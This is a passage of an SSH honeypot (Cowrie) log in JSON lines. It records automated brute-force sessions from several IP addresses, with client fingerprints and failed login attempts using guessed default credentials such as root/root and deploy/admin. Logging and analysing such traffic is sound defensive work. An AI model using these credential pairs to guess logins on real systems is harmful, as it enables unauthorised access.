sh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:19.314349Z","src_ip":"45.153.34.114","session":"c001078191d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:19.582846Z","src_ip":"45.153.34.114","session":"c001078191d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:20.669784Z","src_ip":"45.153.34.114","session":"c001078191d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53614,"dst_ip":"159.203.135.109","dst_port":22,"session":"de666c3aacf5","protocol":"ssh","message":"New connection: 45.153.34.114:53614 (159.203.135.109:22) [session: de666c3aacf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:27.256637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:27.328012Z","src_ip":"45.153.34.114","session":"de666c3aacf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:27.415138Z","src_ip":"45.153.34.114","session":"de666c3aacf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:27.730610Z","src_ip":"45.153.34.114","session":"de666c3aacf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:28.828448Z","src_ip":"45.153.34.114","session":"de666c3aacf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48964,"dst_ip":"159.203.135.109","dst_port":22,"session":"12469194086c","protocol":"ssh","message":"New connection: 103.75.199.4:48964 (159.203.135.109:22) [session: 12469194086c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:34.161382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:34.167465Z","src_ip":"103.75.199.4","session":"12469194086c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:34.263643Z","src_ip":"103.75.199.4","session":"12469194086c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:34.553869Z","src_ip":"103.75.199.4","session":"12469194086c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:35.657885Z","src_ip":"103.75.199.4","session":"12469194086c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45778,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cfe6157d310","protocol":"ssh","message":"New connection: 45.153.34.114:45778 (159.203.135.109:22) [session: 3cfe6157d310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:35.661950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:35.716984Z","src_ip":"45.153.34.114","session":"3cfe6157d310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:35.799618Z","src_ip":"45.153.34.114","session":"3cfe6157d310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:36.100926Z","src_ip":"45.153.34.114","session":"3cfe6157d310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:37.187516Z","src_ip":"45.153.34.114","session":"3cfe6157d310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43818,"dst_ip":"159.203.135.109","dst_port":22,"session":"066bc66d8fe6","protocol":"ssh","message":"New connection: 45.153.34.114:43818 (159.203.135.109:22) [session: 066bc66d8fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:43.792546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:43.797517Z","src_ip":"45.153.34.114","session":"066bc66d8fe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:43.881339Z","src_ip":"45.153.34.114","session":"066bc66d8fe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:44.135565Z","src_ip":"45.153.34.114","session":"066bc66d8fe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:45.230156Z","src_ip":"45.153.34.114","session":"066bc66d8fe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.199","src_port":30142,"dst_ip":"10.17.0.5","dst_port":22,"session":"c91cba215692","protocol":"ssh","message":"New connection: 94.26.106.199:30142 (10.17.0.5:22) [session: c91cba215692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:48.893686Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:48.898299Z","src_ip":"94.26.106.199","session":"c91cba215692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.199","src_port":30156,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c8107b63f30","protocol":"ssh","message":"New connection: 94.26.106.199:30156 (10.17.0.5:22) [session: 7c8107b63f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:49.065111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:49.069593Z","src_ip":"94.26.106.199","session":"7c8107b63f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:49.152880Z","src_ip":"94.26.106.199","session":"7c8107b63f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:49.322259Z","src_ip":"94.26.106.199","session":"7c8107b63f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:50.409204Z","src_ip":"94.26.106.199","session":"7c8107b63f30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41920,"dst_ip":"159.203.135.109","dst_port":22,"session":"20fa5d62bf9c","protocol":"ssh","message":"New connection: 45.153.34.114:41920 (159.203.135.109:22) [session: 20fa5d62bf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:51.963574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:51.968364Z","src_ip":"45.153.34.114","session":"20fa5d62bf9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:52.066430Z","src_ip":"45.153.34.114","session":"20fa5d62bf9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:52.327093Z","src_ip":"45.153.34.114","session":"20fa5d62bf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:53.418248Z","src_ip":"45.153.34.114","session":"20fa5d62bf9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40304,"dst_ip":"159.203.135.109","dst_port":22,"session":"e842a4c746e9","protocol":"ssh","message":"New connection: 103.75.199.4:40304 (159.203.135.109:22) [session: e842a4c746e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:56.019697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:56.024884Z","src_ip":"103.75.199.4","session":"e842a4c746e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:56.115926Z","src_ip":"103.75.199.4","session":"e842a4c746e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:56.389660Z","src_ip":"103.75.199.4","session":"e842a4c746e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:57.484228Z","src_ip":"103.75.199.4","session":"e842a4c746e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42486,"dst_ip":"159.203.135.109","dst_port":22,"session":"d68eaa582151","protocol":"ssh","message":"New connection: 45.153.34.114:42486 (159.203.135.109:22) [session: d68eaa582151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:00.067470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:18:00.072673Z","src_ip":"45.153.34.114","session":"d68eaa582151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 